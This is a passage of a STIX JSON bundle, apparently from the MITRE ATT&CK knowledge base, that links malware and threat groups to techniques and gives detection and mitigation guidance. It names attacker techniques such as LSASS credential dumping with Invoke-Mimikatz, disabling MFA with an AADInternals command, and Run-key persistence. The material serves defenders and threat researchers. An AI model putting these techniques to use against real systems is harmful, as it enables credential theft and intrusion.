"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "source_name": "F-Secure The Dukes"}], "modified": "2020-03-19T23:56:41.564Z", "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer. (Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d59832f1-fd7b-4192-8be6-7c1caeb66284", "created": "2022-03-30T14:26:51.875Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed network connections that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. ", "modified": "2022-04-20T03:16:07.019Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5afd2ff-ca7f-4a53-b2ca-1628fda6f74d", "type": "relationship", "created": "2020-02-21T15:42:26.323Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T15:42:26.323Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d5b2d34f-5650-4fb3-bacf-2b1765943bfe", "created": "2023-06-14T22:38:26.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-14T08:38:57.264Z", "description": "When executing with non-root permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) uses the the `shmget API` to create shared memory between other known [RotaJakiro](https://attack.mitre.org/software/S1078) processes. This allows processes to communicate with each other and share their PID.(Citation: RotaJakiro 2021 netlab360 analysis)", "relationship_type": "uses", "source_ref": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5b4ef43-ddb4-4f95-95b9-6a352700bb77", "type": "relationship", "created": "2019-04-17T19:18:00.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Remexi Jan 2019", "url": "https://securelist.com/chafer-used-remexi-malware/89538/", "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}], "modified": "2019-04-22T20:18:07.105Z", "description": "[Remexi](https://attack.mitre.org/software/S0375) takes screenshots of windows of interest.(Citation: Securelist Remexi Jan 2019)", "relationship_type": "uses", "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5b776e8-d31c-4911-accc-72e07f81a52c", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation) Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.", "source_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackHat Atkinson Winchester Token Manipulation", "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.", "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5b8720a-7224-4d01-8667-4700e34e79ba", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor for newly constructed web-based network connections that are sent to malicious or suspicious destinations (e.g. destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, .SCF, HTA, MSI, DLLs, or msiexec.exe).", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5bac840-bebe-4209-b16d-b6ae9ff96982", "type": "relationship", "created": "2021-08-31T22:15:50.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Lokibot Jan 2021", "url": "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", "description": "Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}], "modified": "2021-08-31T22:15:50.442Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) will delete its dropped files after bypassing UAC.(Citation: Talos Lokibot Jan 2021)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5bc22fc-16dd-4ab6-9599-828f4b33ec2b", "type": "relationship", "created": "2020-03-20T22:59:10.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", "source_name": "Bitdefender APT28 Dec 2015"}], "modified": "2020-03-20T22:59:10.037Z", "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with RSA.(Citation: Bitdefender APT28 Dec 2015)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5bd4aaf-4a58-45dd-a9e7-3ceb6385a998", "type": "relationship", "created": "2021-07-26T15:16:21.123Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-07-26T15:16:21.123Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632)  can pad C2 messages with random generated values.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5be72df-7267-4524-85fa-a497a0cd8052", "type": "relationship", "created": "2019-06-21T18:37:11.945Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", "source_name": "OWASP Top 10"}], "modified": "2022-03-08T21:18:40.959Z", "description": "Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well.(Citation: OWASP Top 10)", "relationship_type": "mitigates", "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d5be9ea1-7bf2-453b-bbca-19a9d82ea532", "created": "2021-09-28T19:59:59.110Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"}, {"source_name": "Group IB Ransomware September 2020", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021.", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}, {"source_name": "ATT QakBot April 2021", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-05T20:27:29.556Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can collect system information including the OS version and domain on a compromised host.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: Group IB Ransomware September 2020)(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d5c05e36-531f-44f4-92d7-b3c728e2ddb8", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T17:53:27.247Z", "description": "Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nNote: Event ID 4104 from the \u201cMicrosoft-Windows-PowerShell/Operational\u201d log captures Powershell script blocks, whose contents can be further analyzed to determine if they\u2019re performing LSASS dumping.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5c24fec-a81a-4dfb-8d41-2199b76038a5", "type": "relationship", "created": "2021-03-23T13:01:04.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-23T13:01:04.984Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5c6c2bd-e49f-4d88-9351-a1c3d7f3ef99", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}], "modified": "2019-04-24T23:40:23.449Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.(Citation: Unit 42 OopsIE! Feb 2018)", "relationship_type": "uses", "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5c70727-794c-4404-b30d-0d798a62ad64", "type": "relationship", "created": "2019-06-21T15:13:50.808Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-17T15:08:49.262Z", "description": "Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to remote access services.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}, {"source_name": "Unit42 Redaman January 2019", "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:13.581Z", "description": "[RTM](https://attack.mitre.org/software/S0148) strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm. [RTM](https://attack.mitre.org/software/S0148) has also been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d5d7b6eb-e4c3-4143-ae0d-41ebdeb2061f", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-11-06T20:23:18.394Z", "description": "Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d5d91a04-cdc9-404b-9c8f-7e91a266185d", "created": "2022-06-15T15:12:32.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-14T18:36:51.942Z", "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used a VisualBasic script named `MicrosoftUpdator.vbs` for execution of a PowerShell keylogger.(Citation: Kaspersky Lyceum October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d5e008e5-28ff-4f0a-8e09-ab637c733646", "created": "2022-08-31T14:00:48.193Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T21:31:15.976Z", "description": "The [AADInternals](https://attack.mitre.org/software/S0677) `Set-AADIntUserMFA` command can be used to disable MFA for a specified user.", "relationship_type": "uses", "source_ref": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", "target_ref": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d5e027a9-7c0e-42f1-bf51-5432980dbf77", "created": "2022-10-13T16:56:46.908Z", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:56:46.908Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has collected information and files from a compromised machine.(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5e474fe-11a9-419b-bf16-734189c8da5d", "type": "relationship", "created": "2020-10-20T03:35:58.163Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:48:37.791Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d5e5a57a-e8cd-43c8-bc69-fa8bd40d82c0", "created": "2022-07-15T21:22:32.135Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Forcepoint BITTER Pakistan Oct 2016", "url": "https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan", "description": "Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has registered a variety of domains to host malicious payloads and for C2.(Citation: Forcepoint BITTER Pakistan Oct 2016)", "modified": "2022-07-15T21:22:32.135Z", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5e9478c-439e-4ec5-8317-6d769dedc68a", "type": "relationship", "created": "2020-07-27T15:48:13.246Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}], "modified": "2020-07-27T15:48:13.246Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can use the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key for persistence.(Citation: Talos Promethium June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d5ebb264-c9ae-44bb-b6d0-5bf490cb2f76", "created": "2022-06-09T18:31:13.774Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. 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Retrieved April 13, 2021."}], "modified": "2021-04-13T19:29:21.175Z", "description": "(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d63b16af-3fa0-4ae3-a136-49f600818a3c", "created": "2022-03-30T14:26:51.866Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed files associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V).", "modified": "2022-04-14T16:22:23.801Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d63bec5d-c2b9-4057-bd3f-30c5bc1b5bd8", "type": "relationship", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.862Z", "description": "Monitor newly executed processes that may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d640a79e-1c7a-4672-8a0d-1b8248e510d1", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor newly constructed files being written with extensions and/or headers associated with compressed or encrypted file types. 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(2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}, {"source_name": "ESET Telebots June 2017", "url": 